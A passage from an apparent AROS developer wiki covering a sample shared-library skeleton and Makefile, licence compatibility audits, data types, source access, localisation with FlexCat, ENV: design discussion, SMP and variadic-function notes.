    Base-&gt;My_Test_Lib.lib_OpenCnt++;
    return Base;

    AROS_LIBFUNC_EXIT
    
}

__saveds APTR LibExpungeInternal(LIBBASETYPE *Base reg(a6))
{
  USESYSBASE
  APTR seglist;
  bug(&quot;LibExpungeInternal\n&quot;);

  if (Base-&gt;My_Test_Lib.lib_OpenCnt)
  {
    return 0;
  }

  seglist = Base-&gt;My_SegList;

  Forbid();
  Remove((struct Node*)Base);
  Permit();
  FreeMem((APTR)Base - Base-&gt;My_Test_Lib.lib_NegSize, (LONG)Base-&gt;My_Test_Lib.lib_PosSize +
    (LONG)Base-&gt;My_Test_Lib.lib_NegSize);
  
  set_close_libraries();
  return seglist;
}

AROS_LH0(BPTR, LibClose,
    LIBBASETYPEPTR, Base, 2, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT
    USESYSBASE
    bug(&quot;LibClose\n&quot;);

    if (!(--Base-&gt;My_Test_Lib.lib_OpenCnt))
    {
      return LibExpungeInternal(Base);          
    }
    return 0;
	
    AROS_LIBFUNC_EXIT
}

AROS_LH1(BPTR, LibExpunge,
    AROS_LHA(LIBBASETYPEPTR, Base, D0),
    struct ExecBase *, sysBase, 3, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT

    (void)sysBase;
    
    USESYSBASE
    bug(&quot;LibExpunge\n&quot;);

    return LibExpungeInternal(Base);
	
    AROS_LIBFUNC_EXIT
}

AROS_LH0(LIBBASETYPEPTR, LibReserved,
    LIBBASETYPEPTR, Base, 4, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT
    USESYSBASE
    bug(&quot;LibReserved\n&quot;);

    return 0;
    //return (APTR)LibReserved();
    
    AROS_LIBFUNC_EXIT
}


// Space for your own functions
// do not forget to update the FuncTable as well

AROS_LH1(int, TestFunction,
    AROS_LHA(int, TestValue, D0),
    LIBBASETYPEPTR, Base, 5, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT
    USESYSBASE
    bug(&quot;TestFunction\n&quot;);

    Base-&gt;testint = TestValue + Base-&gt;testint;
    
    return Base-&gt;testint;
    
    AROS_LIBFUNC_EXIT
}

// Functable -&gt; Table of all functions in the Library, in right order - important!

const APTR FuncTable[] = 
{
    &amp;AROS_SLIB_ENTRY(LibOpen,LIBHEADNAME,1),
    &amp;AROS_SLIB_ENTRY(LibClose,LIBHEADNAME,2),
    &amp;AROS_SLIB_ENTRY(LibExpunge,LIBHEADNAME,3),
    &amp;AROS_SLIB_ENTRY(LibReserved,LIBHEADNAME,4),
    &amp;AROS_SLIB_ENTRY(TestFunction,LIBHEADNAME,5),
    (void *)-1
};

// AutoInit stuff
void *__PROGRAM_ENTRIES__symbol_set_handler_missing;
void *__LIBS__symbol_set_handler_missing;
// end of AutoInitStuff
&lt;/pre&gt;

Makefile
&lt;pre&gt;
VPATH = 
CFLAGS = -O2 -g -fomit-frame-pointer -W -Wall -Wno-parentheses
CC = i386-aros-gcc
LD = i386-aros-gcc
LDFLAGS = -nostartfiles -Wl,-Map -Xlinker linkermap
LIBS = -lautoinit -llibinit
STRIP = i386-aros-strip --strip-unneeded --remove-section .comment

OBJS = lib_header.o 

all: mytest.library

mytest.library: $(OBJS)
	$(LD) $(LDFLAGS) $^ $(LIBS) -o $@

lib_header.o: lib_header.c lib.h

clean:
	rm -f *.o *.library *.ppu testlibrary linkermap
&lt;/pre&gt;


Porting UNIX library to AROS - dealing with static variables which would make it easy to port such libraries to AROS, keeping the benefits of sharing them on disk, but losing the benefit of actually sharing them in memory.

Our problem arises by the fact we want to share the actual code (the .text section of the library) and constant data, but we need to have per-task .bss and .data sections. If we get rid of our intention to share the .text and .rodata sections, things get quite easy: just load and relocate the library whenever it's open, by whoever it's open. It's like statically linking the library into the executable, except that the final linking is done at runtime.

In the V0 branch, in workbench/hidds/hidd.nouveau was committed pcimock.hidd. This is a pci driver that allows mocking real PCI devices under linux-hosted. The main idea is to be able to run the real hardware driver under linux-hosted with as little changes as possible (some changes will always be needed though unless someone wants to write complete device simulator) so that driver's code paths can be executed and debugged using gdb. This was a very helpful capability when porting nouveau. Now it is externalized from nouveau.hidd and can be used by other people porting drivers. The pcimock.hidd can currently mock 4 different nvidia cards, 1 AGP bridge and also mock irq.hidd.

What's the difference between this driver and the pcilinux.hidd? I used that one to develop many different HW drivers for aros. As far as I understood the intention of pcilinux.hidd it is supposed to get access to real hardware that is running under linux. The pcimock.hidd goal is to mock the hardware. For example my dev box is a PCIE system, but I still would like to run the AGP codes paths in nouveau under linux-hosted to check if they don't seg fault. The other case would be to run codes paths for hardware that the developer does not have (Fermi cards in my case). In the case of pcimock.hidd, the AROS driver's code paths will execute as long as you add proper mocking (for example fill in PCI config area or values for registers in BARs). This is an advantage for ported drivers - the code should already work (since it worked on another system) but there might have been mistakes made during porting which can be detected easily with gdb.

In case you are writing your driver from scratch, pcilinux.hidd hidd will give you more advantage, since you can actually access the real hardware from linux-hosted.


== Misc ==

===APL, MPL, BSD, GPL and LGPL Licences===

The majority of AROS sources in licensed under AROS Public License ([http://aros.sourceforge.net/license.html APL]) which (to a degree) protects us from someone taking AROS sources and not contributing improvements back (for example MorphOS took some AROS source and then contributed changes back)

It is written to allow the use of AROS code in other open source or commercial projects without exception whilst providing a mechanism so that improvements/additions can find their way back to the original source in one form or another.

There are &quot;3rd&quot; party applications used by AROS that do not fall under this license, which are an extra &quot;Contrib&quot; download for convenience.

Anyone can port GPL-ed network and sound drivers as AROSTCP and AHI are GPLed. Direct using (porting) [http://www.gnu.org/licenses/gpl-faq.html#GPLIncompatibleLibs GPL]-ed code in other parts of AROS (gfx, sata, usb) is not possible because AROS license is not compatible with GPL. You need to utilize permissive licensed code like BSD or MIT/X11.


BSD and MPL license are the closest to APL.

APL however is not so compatible with LGPL/GPL.

LGPL case - you cannot statically combine APL code with LGPL. You can, however thank to LGPL being &quot;lesser&quot; restrictive, use LGPL dynamically loaded libraries in APL codes.

GPL case - you cannot combine APL code with GPL in any way if there is no explicit clause by GPLed code authors allowing that. If you do combine APL with GPL in &quot;bad&quot; ways described above - you have a problem (you violate GPL). This problem might result in everything in AROS becoming GPL or everything running or AROS becoming GPL (here I'm not sure really). The other scenario is that you are not allowed to legally distribute such code at all. To be honest I have grasped how to violate GPL, but I'm still no exactly sure what happens when you violate it (but I'm sure it's not anything nice)

GPL software can run on top of non-GPL &quot;system components&quot; (see system components exception of GPL), but the other way around (non-GPL using GPL) leads to problems. This means applications like scout, or Quake III are ok (in the majority of cases).

Theres no reason GPL drivers cannot be ported - but they cant be in AROS's ROM (requires linking APL code with GPL), nor can AROS depend on them (e.g. they must use existing apis).
If they are launched (dynamically linked) by a user action that is allowed. It is also allowed to distribute such binaries together for convenience.

GPL is not about statical or dynamic linking but is about executing process and function calls.


These components - SFS, isapnp, Zune texteditor, AHi, network drivers, freetype, openuirl, BHFormat, Edit and (&quot; dynamically loaded libraries&quot;) are LGPL, not GPL. Mesa/Nouveau stuff is MIT. Some user tools are GPL though.

'''AROS (system)'''
* system components (libraries/classes/devices/etc) cannot be GPL as they would propagate GPL to complete system as well as GPL is not compatible with MPL from which APL is based 
* system components can be LGPL v2 or a permissive license (MIT/BSD)
* system applications can be anything you like (but still I would prefer APL or permissive so the code can be reused if needed)

'''Contrib:'''
* no rules - contrib does not impact AROS system since nothing in AROS system depends on contrib.

About stealing code: The chances of this happening is exactly the same whether we are APL or GPL. If any closed-source option wanted to do it, there is no one that can validate otherwise. MorphOS has used some AROS codes, but contributed changes back.

The rationale behind APL is that while it guarantees that the original developer will get the improvements back (to a certain degree - file based), the person who uses the codes does not have to open his original codes. BSD does not guarantee that the original developer gets improvements. GPL requires the person using the codes to open his codes as well.

The copyright holders needs to stay - we just need information from them that the codes are available under APL (for example a checked-in file like in case of Poseidon). We don't do transfer of copyrights.

; Ultimately what can and cannot be done is up to the author(s) - not the licence.

===AROS source code tree===

* http://www.evillabs.net/AROS/Audit-2012-03-14/AROS-trunk.txt
* http://www.evillabs.net/AROS/Audit-2012-03-14/AROS-contrib.txt


Found this interesting (non-GPL) licensing 'anomaly' - to keep in mind for distributors.

Programs that lose their license if sold (&quot;non-profit only&quot; licensed):
  contrib/aminet/comm/term/TinyTerminal
  contrib/aminet/dev/basic/bwBASIC
  contrib/aminet/text/edit/xdme
  contrib/fish/aroach
  contrib/fish/lotto
  contrib/fish/shuffle
  contrib/fish/touch
  + cdvdfs.


Here is a list of all the GPL/GPLv2/GPLv3 licenses fossology found, what have explicit licenses in their comments.


 excluded LGPL, BSD/GPL dual licensed and programs (such as Prefs/Edit and BHFormat)

&lt;pre&gt;
AROS/rom/dbus/include/  AFL_v2.1 ,GPL_v2+  (supposedly AFL &lt; 3 is GPL incompatible) 
AROS/workbench/classes/zune/betterstring/include/  GPL_v2+
AROS/workbench/classes/zune/texteditor/include/  GPL_v2+
AROS/workbench/classes/datatypes/gemimage/ GPL_v2+ GPL
AROS/workbench/classes/datatypes/degas/  GPL_v2+
AROS/workbench/libs/openurl/README: GPL
AROS/workbench/network/smbfs/documentation/  GPL_v2
AROS/workbench/network/smbfs/source_code/  GPL_v2+
AROS/workbench/network/stacks/AROSTCP/bsdsocket/kern/  GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/mmakefile.src conf.h  GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/sys/  CMU ,GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/net/  GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/api/  GPL_v2
AROS/workbench/network/stacks/AROSTCP/bsdsocket/conf/conf.h: GPL_v2
AROS/workbench/network/stacks/AROSTCP/netinclude/net/radix.h: CMU ,GPL_v2
AROS/workbench/devs/AHI/AHI/  GPL_v2+
AROS/workbench/devs/AHI/AddAudioModes/ GPL_v2+  AROS/workbench/devs/AHI/AddAudioModes/COPYING: GPL 
AROS/workbench/devs/AHI/Docs/texinfo.tex: GPL_v2+
AROS/workbench/devs/AHI/COPYING: GPL
AROS/workbench/devs/AHI/Drivers/EMU10kx/  GPL_v2+
AROS/workbench/devs/AHI/AHI-Handler/  GPL_v2+
AROS/workbench/devs/networks/rtl8029/  GPL   GPL_v2+
AROS/workbench/devs/networks/pcnet32/  GPL   GPL_v2+
AROS/workbench/devs/networks/ppp/LEGAL: GPL
AROS/workbench/devs/networks/atheros5000/  GPL_v2+
AROS/workbench/devs/networks/rhine/  GPL_v2+
AROS/workbench/devs/networks/nForce/  GPL_v2+  GPL
AROS/workbench/devs/networks/prism2/  GPL  GPL_v2+
AROS/workbench/devs/networks/fec/LEGAL: GPL
AROS/workbench/devs/networks/rtl8139/  GPL  GPL_v2+
AROS/workbench/devs/networks/etherlink3/  GPL  GPL_v2+
AROS/workbench/devs/networks/intelpro100/  GPL  GPL_v2+
AROS/workbench/devs/networks/rtl8169/  GPL   GPL_v2+
AROS/workbench/devs/networks/emac/   GPL   GPL_v2+
AROS/workbench/devs/networks/rtl8168/  GPL  GPL_v2+
AROS/workbench/devs/networks/realtek8180/   GPL_v2+
AROS/workbench/devs/networks/via-rhine/via-rhine.c: GPL_v2+
AROS/workbench/devs/networks/via-rhine/   GPL  GPL_v2+
AROS/workbench/devs/networks/e1000/  GPL_v2
AROS/workbench/devs/networks/sis900/  GPL   GPL_v2+
&lt;/pre&gt;

AHI: it has special provisions (COPYING.DRIVERS). The library is LGPL, preferences software is GPL and drivers can be anything without breaking GPL/LGPL.

Network stack: well, we are long overdue for a new, IPv6 enabled network stack anyway, anyone interested? ;) Seriously though it seems like the glue code is GPL and as all the drivers. However some of the drivers are our own code, so they could be relicensed to LGPL.

 Same filter as the AROS trunk list. These should all be libraries or plugins - no programs.

&lt;pre&gt;
contrib/regina/utsname.h: GPL_v2+

contrib/mui/classes/nlist/include/default-align.h: GPL_v2+
contrib/mui/classes/nlist/include/amiga-align.h: GPL_v2+

contrib/mui/classes/BWins/include/MUI/BWin_mcc.h: GPL
contrib/mui/classes/BWins/include/BWin_private_mcc.h: GPL
contrib/mui/classes/BWins/COPYING: GPL_v2
contrib/mui/classes/BWins/MCC_BWins.readme: GPL_v2

contrib/mui/classes/thebar/include/default-align.h: GPL_v2+
contrib/mui/classes/thebar/include/amiga-align.h: GPL_v2+

contrib/gfx/libs/wazp3d/LEGAL: GPL
contrib/gfx/libs/wazp3d/Wazp3D.readme: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/soft3d.c: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/soft3d_opengl.h: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/soft3d_opengl.c: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/Wazp3D.h: GPL
contrib/gfx/libs/wazp3d/Wazp3D-src/Wazp3D.c: GPL

contrib/libs/mpega/  GPL_v2+
&lt;/pre&gt;

http://www.evillabs.net/AROS/Audit-2012-03-14/AROS-contrib.txt

===Types===

On AROS following rules apply:
&lt;pre&gt; 
1. BYTE/UBYTE is 8bit, WORD/UWORD is 16bit, LONG/ULONG is 32bit, QUAD/UQUAD is 64bit, the types are comparable with stdint types (int8_t, int16_t, int32_t, int64_t)
2. IPTR/SIPTR are integer types large enough to fit pointer, that is sizeof(IPTR) = sizeof(APTR) = 4 on 32bit system, and = 8 on 64bit system
3. ti_Data in TagList is large enough to hold a IPTR/APTR type.
4. never store a pointer in integer of type LONG. It may work (if the pointer has upper 32bits clear), but does not have to. Compiler should warn you about that.
5. If you are unsure about point 4, allocate your memory with MEMF_31BIT flag set. But don't expect that AROS internals will do the same.
&lt;/pre&gt; 
point 4 is actually important.


* UBYTE/BYTE for 8bit
* UWORD/WORD for 16bit
* ULONG/LONG for 32bit
* UQUAD/QUAD for 64bit

&lt;pre&gt;
UBYTE    Unsigned 8 bit integer variable (byte).
BYTE     Signed 8 bit integer variable (byte).
UWORD    Unsigned 16 bit integer variable (word).
WORD     Signed 16 bit integer variable (word).
ULONG    Unsigned 32 bit integer variable (longword).
LONG     Signed 32 bit integer variable (longword).
FLOAT    32 bit IEEE floating point variable.
UQUAD    Unsigned 64 bit integer variable.
QUAD     Signed 64 bit integer variable.
DOUBLE   64bit IEEE floating point variable.
BOOL     Boolean variable, TRUE and FALSE are also defined in exec/types.h.
VOID     Void.

APTR     A generic pointer for multiple purposes - Arrays.
STRPTR   A pointer to a null-terminated string.
IPTR     Really important in AROS, the only way to declare a field that can contain both: an integer or a pointer.
&lt;/pre&gt;

if you want to write really portable app, you may be interested in standard datatypes defined in C99: int8_t, uint8_t, int16_t, uint16_t, int32_t, uint32_t, int64_t, uint64_t, intptr_t, uintptr_t. They are all defined in inttypes.h include file.

In exec/types.h the following short-cuts are typedef'd. They are used often in AROS, so you should nearly always include exec/types.h and soon only they will be removed from sys/_types.h include, all types are now defined in include files named aros/types/xxx.h.

(Preparation for C library split; sys/xxx.h include will only be available there when compiling with POSIX C library)


Compiler specific types, like int and long might change their size. In case of AROS, similar to linux, int remains 32 bit whereas long grows to 64 bits in size.

If you use Amiga-like data types, i.e. BYTE/UBYTE, WORD/UWORD, LONG/ULONG and QUAD/UQUAD or the C99 standard types (uint8_t and so on, see stdint.h include) then you should have less issues to solve than by using types without size guarantee.

Of course, all pointers grow to 64 bytes using 64bit cpu. Most of the code can be just recompiled and will work. In rare cases, where e.g. pointers are casted to integers, a special care must be taken. Especially in the cases, where pointer is casted to LONG/ULONG (this code will break on 64 bit AROS) e.g.  '#define IPTR ULONG'.

With compiler delint patches which the majority of them are simple casting issues to make the compiler happy. Notice some of the changes involve introducing double casts. In very recent versions of GCC. Yes, the bulk of the double casts are for converting 32 bit addresses (ie from a 32 bit PCI DMA address register) to a 64 bit pointer. First cast is to IPTR (to expand to 64 bits, and prevent sign extension if the address is above 0x7FFFFFFF), and then to APTR.

ULONG != IPTR except on 32bit .. so if you need to store pointers make sure and use IPTR and not ULONG (which some old code does). For this reason things like Taglist elements are 64bit (since the tag data can be a pointer). 
If your passing items on the stack you should use the STACKED attribute to make sure they are correctly aligned (on 64bit all items on the stack are 64bit..)

There is more issues like using &quot;== 0L&quot; causes problems.

===Endian===

*BE 
*LE

Use the macros from &lt;endian.h&gt; instead making a guess based upon architecture defines
 
&lt;pre&gt;
#if _BYTE_ORDER == _BIG_ENDIAN

#elif _BYTE_ORDER == _LITTLE_ENDIAN

#else
+
#error &lt;whatever.h&gt; - Byte order for this architecture is unsupported! 
&lt;/pre&gt;


===SVN and GIT===

If you want to help develop AROS OS itself, you can 

* view current GIT/SVN entries [http://aros.sourceforge.net/ Aros Org website] or [https://github.com/aros-development-team/AROS Github], [https://github.com/ezrec older ezrec mirror], [https://github.com/michalsc/AROS/ older mirror], [https://trac.aros.org/trac/timeline TRAC], [], 
* awaiting update [http://repo.or.cz/w/AROS.git git repo], [http://www.ohloh.net/p/aros/commits ohloh] or [https://svn.aros.org/svn/aros/trunk/ svn repo] and access [Git version git://repo.or.cz/AROS.git here], 
* deprecated [https://www.gitorious.org/aros/aros/commit/a7fda9e ARIX commits] or [https://gitorious.org/aros/aros GIT old]

If you have SVN access (early 2015 introduced a new SVN server, create a new account at trac aros org) and/or have obtained the source [http://aros.sourceforge.net/download.php AROS site] - you can compile the current build tools/environment using: 

 &gt; make development

and follow this [http://aros.sourceforge.net/documentation/developers/compiling.php#building procedure] or [https://github.com/apiraino/aros_guide Guide] 


https://trac.aros.org/trac#Developing

If you plan on contributing back changes, please post information about such changes first on this [http://mail.aros.org/mailman/listinfo/aros-dev/ mailing list] for more experience developers can validate whether they are correct.


Then there are the nightly build machines. They svn update before the build and run configure as one of the next steps. autoconf might be added to the nightly build scripts.

Our build relies on packages downloaded from Internet (SDL for example) - it always worked this way. The minimal requirement (when just building core AROS) is binutils and gcc. If you build contrib as well, you need many more packages to be downloaded.

https://gitorious.org/aros/aros/commits/crosstools-II

git://gitorious.org/aros/aros.git

Branch crosstools-II there is only one commit on top of ABI_V1 
&lt;pre&gt;
../../aros-src/AROS/configure --enable-ccache
--with-portssources=~/aros/Sources --target=pc-x86_64
--with-aros-toolchain-install=/home/weissms/media/data/aros/test/crosstools/pc-x86_64
&lt;/pre&gt;
and
&lt;pre&gt;
../../aros-src/AROS/configure --enable-ccache
--with-portssources=~/aros/Sources --target=pc-i386
--with-aros-toolchain-install=/home/weissms/media/data/aros/test/crosstools/pc-i386
&lt;/pre&gt;
build OK.


:''More information: [[Aros/Developer/Maintainer|AROS Maintainer Docs]]''

===SDI Calls===

Integrate the 'SDI'-headers to allow easier porting to all amiga-like platforms.

&lt;pre&gt;
PUTCHARPROTO( PutTheChar, char c, struct SPrintfStream *s  )
{
 // REAL CODE
}
&lt;/pre&gt;

have &quot;SDI_compiler.h&quot; and &quot;SDI_hook.h&quot; included

its more organized like

 #include SDI/SDI_hook.h

than

 #include SDI_hook.h

option 1 --- i also use when back porting from amiga's..

&lt;pre&gt;
#ifdef __AROS__
#include SDI/SDI_hook.h
#else
#include SDI_hook.h
#endif
&lt;/pre&gt;

also

you can add the -i include/sdi/ location if you do not want to add or edit any files.


Defining HOOKPROTO to IPTR name(struct IClass * cl, Object * obj, Msg msg); solved the problem

A MUI application most likely needs only the HOOKPROTOxxx SDI macros. They are compatible with AROS, only the attributes (hook, object attribute) must be given in the right order. examine compiler/include/aros/symbolsets.h (AROS_LIBREQ)

compiling mui stuff for aros setting -std=gnu99 is necessary (i have had -std=c99 most of the time).

===Locale with Flexcat===

Most languages have a locale, but not every app is localized, the only thing needed is to translate the &quot;catalog&quot; files. It is a case of locating the correct catalog and saving the translated version.

For every app that lacks of your language catalog and is localized anyway, you should find (in the sources) files related to locale:

* file.cd = catalog descriptor, contains base msg, with internal language (usually english)
* language.ct = catalog translation, contains every translated msg, indexed as in the file.cd.

Compare with other localized apps... Then, &quot;make my_app-catalogs&quot; should create and install your translated catalogs. ex : for, saying, sys:prefs/wanderer:

on root of AROS sources, type:
 &quot;make workbench-prefs-wanderer-catalogs&quot;
then (if you changed the .cd file):
 &quot;make workbench-prefs-wanderer&quot;

For apps not localized, you have to adapt their code to support it, if it is possible...

noticed the original .cd file has many (//) strings at the end of any voice, so added them also to the .ct file. 
That (//) is only for cd files. I'm highly recommending to use FlexCat for updating ct files, e.g. like this:

 flexcat app.cd deutsch.ct newctfile deutsch.ct

You'll get error checking and new entries are marked in the resulting ct file.

When editing .ct files, only change those lines containing translation and perhaps version string, nothing else.
The rest is up to the relevant tool, flexcat. In order to update your translation, type in the following in your shell:

 flexcat xyz.cd xyz.ct NEWCTFILE xyz_upd.ct COPYMSGNEW

This way you will not only make sure you have correct translation file but flexcat also pre-fills newly added strings with &quot;*** NEW *** text. Even better tool for checking cd/ct/catalog files is catcheck, but this one is sadly only available for AmigaOS/68k...

Some languages have variations, like portugues from portugal and portugues from brasil differs...

This is the way to go. I will have a look at language files, but basically if those two languages differ you have to do two separated set of translation files, yes.
(you could create a brazilian slang language localization too)

* At system level localization for one language is a dot language file.
(ex: locale:languages/klingon.language)

* At app level localization is a dot catalog file
(ex: locale:catalogs/klingon/system/libs/dos.catalog)

* At sources level, the dot ct file, and &quot;$language&quot; dot cd files and some building framework.
(ex: catalogs/my_app.ct catalogs/klingon.cd catalogs/mmakefile.src support.c support.h)

Please, use Flexcat to generate CT files: 
 FlexCat wanderer.cd NEWCTFILE=deutsch.ct

Then fill the first 2 lines with something useful:
&lt;pre&gt;
## version $VER: wanderer.catalog 1.1 (9.2.2006)
## language deutsch
&lt;/pre&gt;

You can even update the CT-File: (This adds the new strings)
 FlexCat wanderer.cd deutsch.ct NEWCTFILE=deutsch.ct


To compile a catalog you only need the .cd file and your translation (.ct file):
 FlexCat multiview.cd deutsch.ct CATALOG=MultiView.catalog


[http://murks-ide.svn.sourceforge.net/viewvc/murks-ide/trunk/src/Catalogs/flexcat_linux?revision=100 Linux version of FlexCat]

: [http://aros.sourceforge.net/documentation/developers/app-dev/localization.php#localization-for-non-developers More information]


A script which compares the required version (i.e. the version which an application/module etc. tries to open) with the version of the existing CT files. The result is in this table:

https://github.com/aros-translation-team/translations/wiki/Progress

The following cases are highlighted:

    n/a i.e. CT misses at all
    version in existing CT file is lower than the required version


It might be a bit difficult to participate if you haven't worked with Git before but alternatively you can send your CT files to our Slack channel.

When the ct file has been generated via flexcat (flexcat keyshow.cd NEWCTFILE=spanish.ct) it has the following header:

---------------------------------------------------------------------------------------------------------------
## version $VER: &lt;name&gt;.catalog &lt;ver&gt;.&lt;rev&gt; (04.01.2021)
## language nolanguage
## codeset 0
;
---------------------------------------------------------------------------------------------------------------

Those values &lt;ver&gt;.&lt;rev&gt; are the version and revision of the CT file for the languaje or are the values of the application being localized?

The &lt;ver&gt; part must match with version which the application tries to open. You can find the value either in the column &quot;Required Version&quot; in the table which I've linked above, our you can look in the git repository. For keyshow it would be https://github.com/aros-translation-team/keyshow. You can find in the file &quot;catalog_version.h&quot; the right version number.
The &lt;rev&gt; part starts for new CT files with 0 and should be increased every time the CT file is updated.

Updated several files and created a few more that were missing on the spanish catalog.

The catalogs are in Git repositories at https://github.com/aros-translation-team

a) You tell me your Github user name. I'll invite you. You can work directly with the Git repositories.

b) You create Github forks of the catalog repositories and create pull requests.

c) You send the CT files to mrustler  gmx de


===C Utils Misc===

The AROS source uses at several places the __DATE__ macro to fill the date entry of a $VER tag. Problem is that c:version doesn't understand that date format (e.g. &quot;May 21, 2011&quot;). As a result the output of e.g.
&gt; &quot;version c:shell full&quot; contains &quot;(null)&quot;. Is extending the version command to understand the format of __DATE__  the right solution for that problem?

AmigaOs compilers should use __AMIGADATE__ macro or similar form, if it isn't implemented it could be emulated in makefile: -D__AMIGADATE__=\&quot;$(shell date &quot;+%d.%m.%Y&quot;)\&quot;

BTW. I think DD.MM.YYYY is better format than &quot;Month DD YYY&quot; because &quot;Month DD YYY&quot; is not localized in any way.

&quot;strnicmp&quot; shouldn't work with NULL pointers

The Situation:

compiled a linklib using c++ object files (using the c++ cross compiler).
compiled a C stub that uses the linklib (using the c++ cross compiler).

Try to link them together (using the c++ cross compiler) with C object
files (using the normal target c compiler) that need to use -nostartup
= cant do because using the c++ files pulls in arosc (for stdio etc.) -
so wants to have the autoinit stuff present.

What can I do about this??

If it is possible to manually open it then what do I need to do exactly?

=== ENV ===

The philosophy behind ENV: is that keeping configuration files there allows you to  'Use'  preferences  by  keeping  a copy in ENVARC: intact. However in some cases (like this one) it is not required.

99% of the time that statement is true (not required) for pretty much every file in ENV: or do people change their default icons - and prefs settings - every boot?

There seem to be a bad habit of late with developers changing things to reflect their own personal preference when the change isn't actually necessary - It would be nice if people could refrain from doing that in the tree without at least discussing it on the dev-list first (and with good reasoning unless they committed said work in the first place..)

We're not keen on the pollution of the &quot;S:&quot; dir: it's meant to be for scripts. What's wrong with &quot;ENV:&quot;?
Only the fact that it takes up RAM. I  understand  that  for  PCs  with  several gigabytes of RAM this is
irrelevant. But let's remember about other machines. The philosophy behind ENV: is that keeping configuration files there allows you to  'Use'  preferences  by  keeping  a copy in ENVARC: intact.

However in some cases (like this one) it is not required.

How about implementing in the style of HappyENV then? RAM-disk handler that falls through to reading from ENVARC: if there is no such file stored in it already. Removes RAM usage for unchanged files, removes the need to copy ENVARC to ENV in startup-sequence. 
Shouldn't be too hard to make from AmberRAM, or even just extend AmberRAM to provide this service.

Is it feasable to build a special version of AmberRAM handling ENV: that will try and copy the requested file from ENVARC: if it isnt found in ENV: ? 
Additionaly it could mark closed &quot;files&quot; as untouched - and expunge them from ENV: after a period of time to free up additional RAM:, or when the system is running low on free memory?

Silenty disappearing files may not be a good plan. Would be nice if the following would work:

ASSIGN :ENV SYS:Prefs/Env-Arc ADD
ASSIGN :ENV RAM:ENV  ADD

Where new files put in ENV: end up in RAM:ENV, and opening files looks in RAM:ENV first, then SYS:Prefs/Env-Arc

Well - that's essentially what im proposing but without the assigns - or need for a RAM:ENV directory. 
Adding it as a feature of AmberRAM sounds like the most memory efficient way (one handler to load in RAM) but that's only if it is possible to make it handle ENV: additionally to RAM:, and if it is even possible to add the proposed functionality (...and how to make it enable it when accessing ENV:).

===(AS)MP support===

If one has to recompile software for SMP multi core, is there any thing special one has to do to get software to run?   
Use task.resource if you need to query information about what tasks are running, and clear msgports completely when they are allocated.

Most code should not need Forbid. Use Semaphores, Messages etc. to sync your own code. 

Accessing system structures is a different thing. Use the proper API whenever possible.

How single structures will be protected in the future is still a moving target, at least it is not documented. And you should never  use undocumented stuff  


Ideas on for SMP multi-core

Another suggestion is ... Forbid/Permit function calls are meant to halt multitasking so as no other task could intervene with what ever the calling task is doing, e.g. setting semaphores. Disable/Enable calls are meant to halt interrupts and as a side effect they also halt task switching.

One option is to make it compulsory to protect shared resources with semaphores and forbid the use of simple Forbid() calls as to protect something. Setting semaphore should be done if possible with atomic instructions (check and alter in one instruction). Or make the second concurrent ObtainSemaphore call halt the second calling task and force if possible a task switch which ever gives better results. 

Semaphores could store the owning tasks task pointer instead of boolean to make things easier.

As long as the CPU initiates the DMA transfers through the OS, and the OS ensures that the transferred memory is within the region accessible to the user initiating the transfer, everything is fine. The CPU is the conductor, and the CPU by that has the control of which DMA transfer is initiated and which is not.
All you need to do is to write device drivers reasonable. Hint: CachePreDMA and CachePostDMA exist.
All the Os has to do is to verify that the memory regions to be transferred are valid, and prohibit direct access to the DMA control registers from user space. None of these algorithms imply huge costs.
The current OS design doesn't really allow virtual memory in first place, Forbid() is again the problem.

[http://www.tbs-software.com/guide/index.php?guide=autodocs.doc%2Fmemory.doc&amp;node=1 memory.library API] seem to low level. IMHO the programs should not know how the swapping is implemented. I would just go for one new memory flag
MEMF_SWAPPABLE that indicates that a certain memory region or a whole memory pool won't be accessed during Forbid()/Permit() etc. It only solves part of the problem, it only implements virtual memory and not memory protection. For the latter you need to be able make certain memory inaccessible by other programs, some memory read-only for one task and read-write for other tasks, etc. And I think this should be done in the same Address Space in order to avoid you constantly need to swap between different address spaces. 
So to summarize, if there are programs using this API we may provide a wrapper layer to get them working but I am not convinced this API should be the reference API with whom to provide VM to AROS programs.

=== Variadic ===

variadic functions (i.e. functions with an arbitrary amount of arguments).

&lt;pre&gt;
    #include &lt;stdarg.h&gt;
    [...]

    char * STDARGS GetKeyWord(int value, char *def, ...)
    {
        [...]
        va_list va;
        [...]
        va_start(va, def);
        [...]
        va_end (args);

&lt;/pre&gt;

Please keep with using stdarg rather than having va casted to a LONG * type and varargs handled manually. Doing so, prevents tons of casting, where a simple va_arg can be used. So, string = *((char **) args) instead of string=va_arg(va, char *).

&lt;pre&gt;
#include &lt;stdio.h&gt;
#include &lt;stdarg.h&gt;

int printf (const char * format, ...)

{
    int     retval;
    va_list args;

    va_start (args, format);

    retval = vfprintf (stdout, format, args);

    va_end (args);

    fflush (stdout);

    return retval;
} /* printf */
&lt;/pre&gt;

Couldn't find varargs.h or stdarg.h. and have no use for AROS_SLOWSTACKHOOKS or AROS_SLOWSTACKTAGS.

GCC looks for stdarg.h in a different place: 
 /bin/linux-i386/tools/lib/gcc/i386-aros/4.2.2/include/stdarg.h

Here is a path for a &quot;normal&quot; header:
 bin/linux-i386/tools/lib/gcc/i386-aros/4.2.2/../../../../i386-aros/sys-include/aros/system.h


The use of vararg.h isn't supported by newer gcc versions. If you want your code to run on architectures that pass part of variadic arguments in a number of registers you need to use AROS_SLOWSTACK macros. Otherwise your program will not work on powerpc and x86_64 ports.

Of course the SLOWSTACK stuff is not needed in a function that can use va_list, va_start, va_arg and va_end. It's only needed if you want to write functions like DoMethod or similar.

 #include &lt;stdarg.h&gt;

should be enough no matter if you do cross or native compiling. If it does not work, something is wrong and should be corrected.

Stdarg.h is here, Development:lib/gcc/i386-aros/4.2.2/include/

